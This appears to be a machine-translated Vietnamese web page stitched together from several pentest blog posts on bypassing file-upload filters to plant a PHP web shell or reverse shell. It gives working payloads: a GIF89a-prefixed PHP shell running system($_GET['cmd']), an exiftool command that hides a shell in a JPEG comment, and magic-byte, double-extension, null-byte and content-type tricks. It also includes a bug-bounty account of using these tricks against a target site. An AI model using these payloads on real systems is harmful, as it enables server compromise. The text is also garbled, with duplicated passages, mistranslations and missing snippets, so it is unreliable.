Hướng dẫn file upload bypass php reverse shell - tải lên tệp bỏ qua trình bao ngược php

Một cách phổ biến để có được vỏ thực sự không thực sự là một lỗ hổng, mà là một tính năng! Thông thường, có thể tải các tệp lên máy chủ web. Điều này có thể bị lạm dụng byt chỉ tải lên một vỏ ngược. Khả năng tải vỏ lên thường bị cản trở bởi các bộ lọc cố gắng lọc các tệp có khả năng là độc hại. Vì vậy, đó là những gì chúng ta phải bỏ qua.

Đổi tên nó

Chúng ta có thể đổi tên shell của chúng ta và tải lên nó thành shell.php.jpg. Nó đã vượt qua bộ lọc và tệp được thực thi dưới dạng PHP.

PHP PHTML, .PHP, .PHP3, .php4, .php5 và .inc phtml, .php, .php3, .php4, .php5, and .inc

asp asp, .aspx asp, .aspx

perl .pl, .pm, .cgi, .lib .pl, .pm, .cgi, .lib

jsp .jsp, .jspx, .jsw, .jsv và .jspf .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion .cfm, .cfml, .cfc, .dbm .cfm, .cfml, .cfc, .dbm

GIF89a;

Nếu họ kiểm tra nội dung. Về cơ bản, bạn chỉ cần thêm văn bản "GIF89A;" Trước khi bạn mã shell. Vì vậy, nó sẽ trông giống như thế này:

GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>

Trong hình ảnh

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg

Exiftool là một công cụ tuyệt vời để xem và điều khiển exif-data. Sau đó tôi phải đổi tên tệp

MV lo.jpg lo.php.jpg

Nullbyte

Người giới thiệu

http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html

https://www.owasp.org/index.php/unrestriction_file_upload http://repository.root-me.org/exploites%20-%20web/en%20-%20webshells ,%20perl,%20and%20ColdFusion.pdf

Kết quả khớp với """

    Không có kết quả phù hợp với """

    Này, hôm nay tôi sẽ giới thiệu cách tôi tìm thấy một lỗ hổng tải lên tệp mà tôi đã bỏ qua và bật một vỏ ngược.

    Ban đầu là một chương trình riêng tư, hãy gọi nó là Target.com. Họ có một chức năng để tải lên một hình ảnh hồ sơ chỉ chấp nhận hình ảnh JPG, PNG, JPEG.

    Bắt đầu với tôi đã thử tải lên một tệp shell chuyển đổi PHP mà bạn có thể nhận được từ PentestMonkey

    Các thủ thuật tôi đã cố gắng tải lên vỏ ngược nhưng thất bại thảm hại:

    • Chỉ cần tải lên tệp .php thay vì tệp jpg.
    • Thử các tiện ích mở rộng kép để bỏ qua và tải lên tệp php pic.jpg.php hoặc pic.php.jpg
    • Thay đổi bộ lọc loại nội dung, tức là, thay đổi loại nội dung: TXT/PHP thành Image/JPG
    • Đã thử nhạy cảm trường hợp - pic.php cũng đã thử pic.php5, PHP5.
    • Đã thử các ký tự đặc biệt để bỏ qua pic.php%00, pic.php%0a, pic.php%00

    Tất cả các kịch bản trên đã không làm việc, rõ ràng là chúng là các công ty khắc phục bảo mật cơ bản giữ nó.

    Bây giờ chúng ta hãy thử một cái gì đó mới, bạn đã nghe nói về các số ma thuật?Have you heard of magic numbers ?

    Về cơ bản, mỗi tiện ích mở rộng tệp đều có số ma thuật riêng và tôi đã lấy tệp Php-rerseverse-shell.php và sử dụng trình soạn thảo hex, tôi đã thêm số ma thuật của JPEG I.E., FF D8 FF E0 khi bắt đầu tệp PHP bằng công cụ HEX.FF D8 FF E0 at start of the php file using the hex tool.

    Tôi vừa tải lên tập tin và nó đã hoạt động!

    Sau đó, chỉ bằng cách nhấp vào xem hồ sơ xem giúp tôi có quyền truy cập vào vỏ ngược.

    Lý do đằng sau điều này hoạt động là bởi vì,,

    Các bộ lọc hình ảnh đang nhìn vào ‘số ma thuật ở đầu tệp để xác định xem đó có phải là hình ảnh hợp lệ không và đó là nơi chúng tôi vừa bỏ qua. "

    Báo cáo, được thưởng - $ *****

    Hy vọng bạn thích câu chuyện ngọt ngào và ngắn về tính dễ bị tổn thương tải lên tệp mà tôi đã tìm thấy.

    Nếu bạn có câu hỏi và bất cứ điều gì về bài đăng bạn muốn hỏi tôi, xin vui lòng liên hệ với tôi qua Twitter (Security_Donut) DM của tôi luôn mở.

    Hẹn gặp lại với bạn với bài viết tiếp theo!

    Vì vậy, tôi đã rất bận rộn, lấy OSCP trong 1 tuần! Nhưng tôi đã làm việc trên rất nhiều thứ, và một trong số chúng đã được tải lên các vectơ tấn công.

    Điều này cuối cùng sẽ được tích hợp vào một wiki mà tôi sẽ làm việc, nhưng tôi nghĩ rằng tôi đã nhận được một bài đăng trên blog trong khi đó vì nó đã quá dài. Dù sao ở đây

    Tải lên một shell đảo ngược PHP

    Vì vậy, tôi đã thấy một số trang web khác nhau ngoài kia giải quyết vấn đề này, nhưng tôi nghĩ rằng tôi đã đặt tất cả những nơi này ở một nơi với những gì tôi đã tìm thấy gần đây. Vì vậy, hãy để nhảy ngay vào:

    Tải trọng của chúng tôi

    Tạo một tệp có tên Test.php với văn bản sau:

    Vì vậy, mục tiêu của chúng tôi sẽ là tải nó lên trang web nạn nhân và thực hiện một cái gì đó dọc theo các dòng sau:

    Ví dụ.com/upload/test.php?c=whoami

    Lọc loại nội dung

    Do một số hạn chế lọc khi tải lên tệp, bạn có thể cần phải thực hiện một số cách chơi xung quanh để có được hoạt động này. Một tải trọng mà tôi đã tìm thấy rằng các tác phẩm là như sau:

    Bước 1:

    Chặn tải lên và tiêm nó (lưu ý � ký tự đại diện cho các bit số ma thuật, không thay đổi chúng):

    Bước 2:

    Tìm thư mục tải lên tệp và thực thi các lệnh chống lại nó:

    Đi ra ngoài và chinh phục!
    Content-Type: image/gif

    Vì vậy, có rất nhiều phương pháp khác để khai thác điều này, tôi có thể cập nhật điều này ở đây, nhưng nhiều khả năng nó sẽ có trên wiki trong tương lai. Hy vọng điều này là hữu ích và trong thời gian chờ đợi, tôi sẽ trở lại học tập cho OSCP!

    bài chuyển hướng

    Vì vậy, tôi đã rất bận rộn, lấy OSCP trong 1 tuần! Nhưng tôi đã làm việc trên rất nhiều thứ, và một trong số chúng đã được tải lên các vectơ tấn công.

    example.com/upload/test.php.gif?c=whoami

    Điều này cuối cùng sẽ được tích hợp vào một wiki mà tôi sẽ làm việc, nhưng tôi nghĩ rằng tôi đã nhận được một bài đăng trên blog trong khi đó vì nó đã quá dài. Dù sao ở đây

    Các bộ lọc khác nhìn vào ‘số ma thuật ở đầu tệp để xác định xem đó có phải là hình ảnh hợp lệ không. Bảng dưới đây cho bạn thấy ‘số ma thuật cho các loại hình ảnh khác nhau:

    BMP: 42 4D JPG: & NBSP; & nbsp; ff d8 ff e0 png: & nbsp; 89 50 4E 47 GIF: & nbsp; & NBSP; 47 49 46 38
    JPG :   FF D8 FF E0
    PNG :  89 50 4E 47
    GIF :   47 49 46 38

    Từ thời điểm này, chúng ta có thể sử dụng công cụ Linux Hexeditor, để thay đổi byte bắt đầu của tập lệnh PHP của chúng ta để chèn các byte mới:

    hexeditor -b test.php

    Bạn sẽ thấy như sau:

    Hướng dẫn file upload bypass php reverse shell - tải lên tệp bỏ qua trình bao ngược php

    Để thêm byte mới, nhấn Ctrl+A cho mỗi byte bạn cần thêm.

    Hướng dẫn file upload bypass php reverse shell - tải lên tệp bỏ qua trình bao ngược php

    Bây giờ chèn ‘số ma thuật cho loại tệp mà bạn đang nhắm đến. Trong ví dụ này, chúng tôi sẽ làm cho nó .jpg

    Hướng dẫn file upload bypass php reverse shell - tải lên tệp bỏ qua trình bao ngược php

    Cuối cùng lưu tệp dưới dạng test.jpg

    Hướng dẫn file upload bypass php reverse shell - tải lên tệp bỏ qua trình bao ngược php

    Bây giờ tại thời điểm này, chúng tôi sẽ sử dụng một kỹ thuật tiêm khác với chúng tôi đã sử dụng ở trên, nhưng biết rằng bất kỳ sự kết hợp nào của các kỹ thuật này đều có thể cần thiết để bỏ qua bộ lọc tải lên để thực hiện một hoạt động.

    Bước 1:

    Chặn tải lên và tiêm nó (lưu ý � ký tự đại diện cho các bit số ma thuật, không thay đổi chúng):

    Xử lý nội dung: DATA hình thức; Tên = tên tệp tên

    test.php, một trong những người khác, thử nghiệm. Tên = tải lên UploadedFile Tên tệp = test test.jpg ”
    —————————–
    Content-Disposition: form-data; name=”uploadedfile”; filename=”test.jpg”

    Loại nội dung: hình ảnh/jpeg ����
    ����

    Bước 2:

    Tìm thư mục tải lên tệp và thực thi các lệnh chống lại nó:

    example.com/upload/test.php?c=whoami

    Đi ra ngoài và chinh phục!

    Vì vậy, có rất nhiều phương pháp khác để khai thác điều này, tôi có thể cập nhật điều này ở đây, nhưng nhiều khả năng nó sẽ có trên wiki trong tương lai. Hy vọng điều này là hữu ích và trong thời gian chờ đợi, tôi sẽ trở lại học tập cho OSCP!

    bài chuyển hướng